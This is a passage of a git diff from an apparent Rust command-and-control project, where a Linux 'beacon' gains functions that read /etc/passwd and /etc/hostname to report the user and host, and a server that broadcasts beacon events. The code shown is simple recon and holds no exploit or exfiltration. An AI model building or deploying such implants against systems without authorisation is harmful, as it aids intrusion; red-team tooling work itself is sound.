-336,6 +481,7 @@ pub async fn serve_web( move || { provide_context(beacon_listeners.clone()); provide_context(db.clone()); + provide_context(beacon_event_broadcast.clone()); }, { let leptos_options = leptos_options.clone(); diff --git a/sparse-server/style/_beacons.scss b/sparse-server/style/_beacons.scss index 87037e9..37b0ae1 100644 --- a/sparse-server/style/_beacons.scss +++ b/sparse-server/style/_beacons.scss @@ -4,6 +4,7 @@ @use 'beacons/templates'; @use 'beacons/instances'; @use 'beacons/commands'; +@use 'beacons/sidebar'; main.beacons { display: grid; diff --git a/sparse-server/style/beacons/_sidebar.scss b/sparse-server/style/beacons/_sidebar.scss new file mode 100644 index 0000000..9dc1291 --- /dev/null +++ b/sparse-server/style/beacons/_sidebar.scss @@ -0,0 +1,6 @@ +aside.beacons { + grid-area: beacons; + background-color: #11111c; + overflow-y: auto; + overflow-x: hidden; +} diff --git a/sparse-unix-beacon/src/linux.rs b/sparse-unix-beacon/src/linux.rs index e553766..676cedf 100644 --- a/sparse-unix-beacon/src/linux.rs +++ b/sparse-unix-beacon/src/linux.rs @@ -22,6 +22,8 @@ pub struct LinuxAdapter; impl BeaconAdapter for LinuxAdapter { type Error = LinuxAdapterError; + const OPERATING_SYSTEM: &'static str = "Linux"; + fn interface_name_from_interface(interface: &BeaconInterface) -> Vec { interface.name.clone() } @@ -88,4 +90,33 @@ impl BeaconAdapter for LinuxAdapter { .collect(), }) } + + async fn get_username(&self) -> Result> { + let passwd = tokio::fs::read_to_string("/etc/passwd").await?; + let uid = unsafe { libc::getuid() }; + + Ok(passwd + .split("\n") + .find_map(|row| -> Option { + let mut entries = row.split(":"); + + let name = entries.next()?; + entries.next()?; + let euid = entries.next()?.parse::().ok()?; + + if euid == uid { + Some(name.to_string()) + } else { + None + } + }) + .unwrap_or("(unknown)".to_string())) + } + + async fn get_hostname(&self) -> Result> { + Ok(tokio::fs::read_to_string("/etc/hostname") + .await? + .trim() + .to_string()) + } }